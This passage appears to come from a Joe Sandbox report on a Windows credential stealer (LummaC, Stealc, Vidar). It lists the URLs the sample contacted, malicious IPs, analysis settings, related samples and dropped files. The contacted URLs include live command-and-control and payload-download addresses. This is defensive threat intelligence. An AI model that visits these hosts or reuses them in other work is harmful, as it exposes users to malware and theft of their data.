http://cowod.hopto.EBKECB	RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://urusvisa.com/U	RegAsm.exe, 0000001B.00000002.2766184934.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://urusvisa.com/6z	RegAsm.exe, 0000001B.00000002.2766184934.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org	RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
http://46.8.231.109/c4754d4f680ead72.phpq	RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exeD	RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://urusvisa.com/mozglue.dllT	RegAsm.exe, 00000003.00000002.2595193937.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bellykmrebk.site/apij	RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://urusvisa.com/i	RegAsm.exe, 0000001B.00000002.2766184934.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org_DEBUG.zip/c	file.exe, 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://46.8.231.109/c4754d4f680ead72.php=	RegAsm.exe, 00000012.00000002.3051565260.00000000273D0000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse	unknown
http://files.veritas.org.ng/ldms/66fa2afc5abea_vasd.exeX	RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://files.veritas.org.ng/ldms/66fa2afc5abea_vasd.exeta;	RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	true		unknown
http://urusvisa.com:80acPdLggz.exe	RegAsm.exe, 0000001B.00000002.2762920375.0000000000503000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.	RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://urusvisa.com/6	RegAsm.exe, 0000000E.00000002.2863943868.000000000127A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://files.veritas.org.ng/ldms/66fa2ae906657_snd.exeG	RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://urusvisa.com:80AKEsrss.exe	RegAsm.exe, 0000000E.00000002.2861588723.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://cowod.hopto	RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://files.veritas.org.ng/ldms/66fa2b049020f_ldnf.exez	RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://cowod.hopto.org/N	RegAsm.exe, 00000003.00000002.2595193937.000000000148A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org/G	RegAsm.exe, 00000003.00000002.2595193937.000000000148A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://writekdmsnu.site/apim1L	RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/ae5ed	file.exe, 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EGDGCGCFHI.exe, 0000000B.00000002.2560292223.000000000440B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mozilla.org0/	RegAsm.exe, 00000003.00000002.2624921125.00000000207B7000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2652017449.000000003E4EB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2628819471.0000000026721000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2645077224.000000003260A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=WnGP	RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hoptoKEBKECB	RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://store.steampowered.com/privacy_agreement/	RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	RegAsm.exe, 00000012.00000002.3051565260.00000000273B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/i	RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	RegAsm.exe, 00000003.00000002.2602299616.0000000019E6C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://agentyanlark.site/api	RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109	RegAsm.exe, 00000012.00000002.3023059126.000000000045A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3026337297.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/c4754d4f680ead72.phpLxSt	RegAsm.exe, 00000012.00000002.3051565260.00000000273D0000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://underlinemdsj.site/icatl	RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://chaptermusu.store/	RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://chaptermusu.store:443/api	RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dllM	RegAsm.exe, 00000012.00000002.3026337297.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://urusvisa.com/u	RegAsm.exe, 0000000E.00000002.2863943868.0000000001231000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.GHCAAKEBKECB	RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://urusvisa.com/z	RegAsm.exe, 0000001B.00000002.2766184934.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false		unknown
Http://urusvisa.com:80/sql.dllFgqacPdLggz.exe	RegAsm.exe, 0000001B.00000002.2762920375.000000000048F000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://urusvisa.com:80AKE	RegAsm.exe, 0000000E.00000002.2861588723.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://t.me/jamsemlgu	RegAsm.exe, 0000000E.00000002.2863943868.0000000001200000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://urusvisa.com:80xe	RegAsm.exe, 0000001B.00000002.2762920375.000000000048F000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3051565260.00000000273B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://46.8.231.109/c4754d4f680ead72.php1f9a9c4a2f8b514.cdf-ms	RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dllU	RegAsm.exe, 00000012.00000002.3026337297.000000000101E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/	RegAsm.exe, 00000003.00000002.2595193937.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://steamcommunity.com/profiles/76561199780418869u55uMozilla/5.0	file.exe, 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, EGDGCGCFHI.exe, 0000000B.00000002.2560292223.000000000440B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://web.telegram.org	RegAsm.exe, 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2595193937.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2863943868.0000000001200000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2766184934.000000000132B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://writekdmsnu.site/api	RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000A.00000002.2585204810.00000000014F5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://urusvisa.com/nss3.dllF	RegAsm.exe, 00000003.00000002.2595193937.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	RegAsm.exe, 00000003.00000002.2595193937.0000000001654000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000012.00000002.3051565260.00000000273B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a	RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	RegAsm.exe, 0000000A.00000002.2584297027.000000000144E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bellykmrebk.site/api	RegAsm.exe, 0000000A.00000002.2584999603.00000000014B1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RegAsm.exe, 00000012.00000002.3026337297.000000000103E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://urusvisa.com/sql.dllLMEM8(	RegAsm.exe, 0000001B.00000002.2766184934.000000000132B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://t.me/N	RegAsm.exe, 0000000E.00000002.2863943868.0000000001200000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.orgECB	RegAsm.exe, 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://t.me/i	RegAsm.exe, 0000000E.00000002.2863943868.0000000001200000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://urusvisa.com/9z	RegAsm.exe, 0000001B.00000002.2766184934.0000000001388000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
188.114.97.3	chaptermusu.store	European Union	13335	CLOUDFLARENETUS	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
147.45.44.104	files.veritas.org.ng	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
172.67.205.129	possiwreeste.site	United States	13335	CLOUDFLARENETUS	true
5.42.101.62	urusvisa.com	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
104.21.1.169	underlinemdsj.site	United States	13335	CLOUDFLARENETUS	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	true
45.132.206.251	cowod.hopto.org	Russian Federation	59731	LIFELINK-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522636
Start date and time:	2024-09-30 13:58:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@46/62@22/9
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 94 Number of non-executed functions: 113
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:59:20	API Interceptor	8x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
188.114.97.3	Shipping Documents_pdf.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/7vun/
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	joxi.net/4Ak49WQH0GE3Nr.mp3
	http://meta.case-page-appeal.eu/community-standard/208273899187123/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	www.kzeconomy.top/bopi/?-Z_XO=6kwaqb6m5omublBEUG6Q6qPKP5yOZjcuHwr6+9T02/Tvpmf8nJuTPpmClij6fvBBwm3b&zxltAx=RdCtqlAhlNvlRVfP
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/mfctuvFf/download
	http://brawllstars.ru/	Get hash	malicious	HTMLPhisher	Browse	brawllstars.ru/
	http://aktiivasi-paylaterr.from-resmi.com/	Get hash	malicious	Unknown	Browse	aktiivasi-paylaterr.from-resmi.com/
	ECChG5eWfZ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	homker11.uebki.one/GeneratorTest.php
	HpCQgSai4e.exe	Get hash	malicious	FormBook	Browse	www.zhxgtlw.top/bopi/?XtEdZRAP=tIrAt1o0vWdNGbj/SzADcCGpASEIYc8Vm+jYIgWXaQC1p/Id9tI9XA8Ni4J3RpZHG8N5&8p=DXgPYZ
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Ky4pZ0WB/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
urusvisa.com	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.42.101.62
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.42.101.62
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.42.101.62
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	5.42.101.62
cowod.hopto.org	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	45.132.206.251
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	45.132.206.251
steamcommunity.com	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/peltgon.zip	Get hash	malicious	LummaC	Browse	104.102.49.254
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/malt.zip	Get hash	malicious	Unknown	Browse	104.102.49.254
	Full-Setup.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
possiwreeste.site	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.22.157
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.205.129
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.205.129
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.205.129
	xin.exe	Get hash	malicious	LummaC	Browse	172.67.205.129

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	172.67.129.166
	https://www.curiosolucky.com/dos/#XaXBlcmFsdGFAc2FuaXRhcy5lcw==	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://magical-variation-300980.framer.app/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://magical-variation-300980.framer.app/	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	https://fshjjfetalpacksrlfggghhgfgj.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	104.19.229.21
	INVOICE DUE..xlsx	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.netigate.se/a/s.aspx?s=1236726X450166796X50614	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.1.169
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.1.169
	https://linke.to/pkmlogistics	Get hash	malicious	Unknown	Browse	188.114.96.3
FREE-NET-ASFREEnetEU	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	147.45.47.81
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	147.45.44.104
	MW3 Phoenix Legacy.exe	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	147.45.47.64
	https://steamcommninty.com/gift/activation/id=5947221648	Get hash	malicious	Unknown	Browse	147.45.47.40
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, PrivateLoader, Socks5Systemz	Browse	147.45.60.44
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, RDPWrap Tool, LummaC Stealer, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
AKAMAI-ASUS	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	https://content.app-us1.com/5zbe53/2024/09/30/8d9df716-ca99-47ed-825e-d3a2a0e6cd9e.pdf	Get hash	malicious	HTMLPhisher	Browse	23.47.168.24
	Tonincasa Updated Employee sheet .pdf	Get hash	malicious	HTMLPhisher	Browse	104.77.220.172
	MagicUtilities-Setup-3.1.4.5-Win10.exe	Get hash	malicious	Unknown	Browse	184.28.90.27
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/peltgon.zip	Get hash	malicious	LummaC	Browse	104.102.49.254
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/malt.zip	Get hash	malicious	Unknown	Browse	104.102.49.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.205.129 188.114.97.3 104.21.1.169
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254 172.67.205.129 188.114.97.3 104.21.1.169
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254 172.67.205.129 188.114.97.3 104.21.1.169
	PO554830092024.xls	Get hash	malicious	Unknown	Browse	104.102.49.254 172.67.205.129 188.114.97.3 104.21.1.169
	PI#0034250924.xla.xlsx	Get hash	malicious	Unknown	Browse	104.102.49.254 172.67.205.129 188.114.97.3 104.21.1.169
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254 172.67.205.129 188.114.97.3 104.21.1.169
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254 172.67.205.129 188.114.97.3 104.21.1.169
	Transmission Cost Database 2.0.xlsb	Get hash	malicious	Unknown	Browse	104.102.49.254 172.67.205.129 188.114.97.3 104.21.1.169
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/peltgon.zip	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.205.129 188.114.97.3 104.21.1.169
	Loader.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.205.129 188.114.97.3 104.21.1.169
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99
	z1Quotation.scr.exe	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.99
	1727684587d91a3fc4a77823bfb5c4c41b9d6c0bff84ae126bd19290c7e03bed994fdb4477364.dat-decoded.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	149.154.167.99
	Gelato Italiano_74695.exe.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	Gelato Italiano_74695.exe.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	Bnnebgers.vbs	Get hash	malicious	GuLoader, Lokibot	Browse	149.154.167.99
	NTS_eTaxInvoice.html.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.99
	Faktura_82666410_1361590461#U00b7pdf.vbe	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\EGDGCGCFHI.exe	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
C:\ProgramData\DBGIJEHIID.exe	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CFHIIEHJKKEC\IDHDGD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
